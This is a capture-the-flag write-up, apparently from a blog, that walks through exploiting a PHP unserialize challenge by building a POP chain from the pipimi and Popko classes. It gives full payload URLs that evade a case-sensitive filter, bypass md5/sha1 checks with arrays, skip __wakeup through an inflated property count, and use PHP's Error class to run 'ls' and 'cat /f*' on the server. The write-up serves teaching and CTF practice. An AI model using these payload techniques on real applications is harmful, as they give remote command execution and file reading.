[Network Security/CTF] A detailed analysis of PHP serialization and deserialization problem solving

Article directory

posture

The title gives the following code:

<?php
error_reporting(0);
function backdoor()
{
    
    
    $a = $_GET["a"];
    $b = $_GET["b"];
    $d = $_GET["d"];
    $e = $_GET["e"];
    $f = $_GET["f"];
    $g = $_GET["g"];
    $class = new $a($b);
    $str1 = substr($class, $d, $e);
    $str2 = substr($class, $f, $g);
    $str1($str2);
}

class popko
{
    
    
    public $left;
    public $right;

    public function __call($method,$args)
    {
    
    
        if (($this->left != $this->right) && (md5($this->left) === md5($this->right)) && (sha1($this->left) === sha1($this->right))) {
    
    
            echo "backdoor is here";
            backdoor();
        }
    }

    public function __wakeup()
    {
    
    
        $this->left = "";
        $this->right = "";
    }
}

class pipimi
{
    
    
    function __destruct()
    {
    
    
        echo $this->a->a();
    }
}

$c = $_GET["c"];
if ($c != null) {
    
    
    if (strstr($_GET["c"], "popko") === false) {
    
    
        unserialize($_GET["c"]);
    } else {
    
    
        echo ":)";
    }
} else {
    
    
    highlight_file(__FILE__);
} 

The code gives the backdoor function straight to the point, and this function is called in the call method of the popko class

So you need to run the call method

And the call method is 在对象上下文中调用不可访问的方法triggered when

Therefore, it is necessary to call an inaccessible method

It just so happens that the a object and a function do not exist in the destruct method

So you need to run the destruct method

And the destruct method is triggered when the object is destroyed

How to realize the object is destroyed?

When the serialized statement is deserialized, the object will be destroyed, thus triggering the destruct method

So the idea is:Construct an object in the pipimi class, and when the destruct in pipimi is executed, call the popko class to run the call method, and then call the backdoor function

for

 if (strstr($_GET["c"], "popko") === false) {
    
    
        unserialize($_GET["c"]);
    } else {
    
    
        echo ":)";

The meaning of this string of codes is: when the c we pass in does not contain popko, it will deserialize the passed parameter c; otherwise it will print :)

So we have to pass in a parameter c to deserialize it, but it also contains popko

Since PHP is a weak language, function names, method names, and class names are not case-sensitive, that is, class Object and class object are treated as a variable when parsing

The strstr function is case sensitive

So you can use the case-insensitive class name but the case-sensitive filter function to construct a popko chain (change popko to Popko)

for

 if (($this->left != $this->right) && (md5($this->left) === md5($this->right)) && (sha1($this->left) === sha1($this->right))) {
    
    
            echo "backdoor is here";
            backdoor();
        }

It is required that the left and right values ​​are different, but the md5 encrypted value is the same before the backdoor() function can be called

Therefore, use an array to pass parameters to bypass, that is, left[]=1&right[]=2

So the constructed chain is:
/?c=O:6:"pipimi":1:{s:1:"a";O:5:"Popko":2:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}

对象类名是 "pipimi",有一个属性 "a"。
"a" 属性的值是另一个对象类型 "Popko"。
"Popko" 对象有两个属性: "left" 和 "right"。
"left" 属性是一个包含一个元素的数组,该元素的值为 1。
"right" 属性是一个包含一个元素的数组,该元素的值为 2。

When unserialize() is executed, the wakeup method will be called first, how to bypass it?

When the value representing the number of object attributes in the serialized string is greater than the actual number of attributes, the execution of the wakeup method will be skipped

So just increase the value of Popko's attributes to 3:

/?c=O:6:"pipimi":1:{s:1:"a";O:5:"Popko":3:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}

The echo is as follows:

insert image description here
successfully entered the back door

Then let's see how the backdoor function is described:

function backdoor()
{
    
       $a = $_GET["a"];
    $b = $_GET["b"];
    $d = $_GET["d"];
    $e = $_GET["e"];
    $f = $_GET["f"];
    $g = $_GET["g"];
    $class = new $a($b);
    $str1 = substr($class, $d, $e);
    $str2 = substr($class, $f, $g);
    $str1($str2);}

$class = new $a($b); This statement creates a new class, but it cannot be deserialized. This encounters a situation where deserialization is required but no class is specified, so only PHP built-in classes (that is, native classes) can be found for deserialization.

For parameter a, use the error class in the native class

Take a look at the syntax of the substr function:

image-20230212200041569

image-20230212200138282

Therefore, the POC structure is as follows:

/?c=O:6:"pipimi":1:{s:1:"a";O:5:"Popko":3:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}&a=Error&b=systemls&d=7&e=6&f=13&g=2

The echo is as follows:

insert image description here

Use the command to grab the contents of all files starting with f:

/?c=O:6:"pipimi":1:{s:1:"a";O:5:"Popko":3:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}&a=Error&b=systemcat /f*&d=7&e=6&f=13&g=7

Among them, the values ​​of d, e, f, and g need to be continuously modified according to the echo

Get the flag:

insert image description here


Summarize

The above is a detailed analysis record of PHP serialization and deserialization problem solving, and examines knowledge points such as php code audit, php strong comparison, serialization and deserialization.

I am Qiu said , see you next time.

Guess you like

Origin blog.csdn.net/2301_77485708/article/details/132475936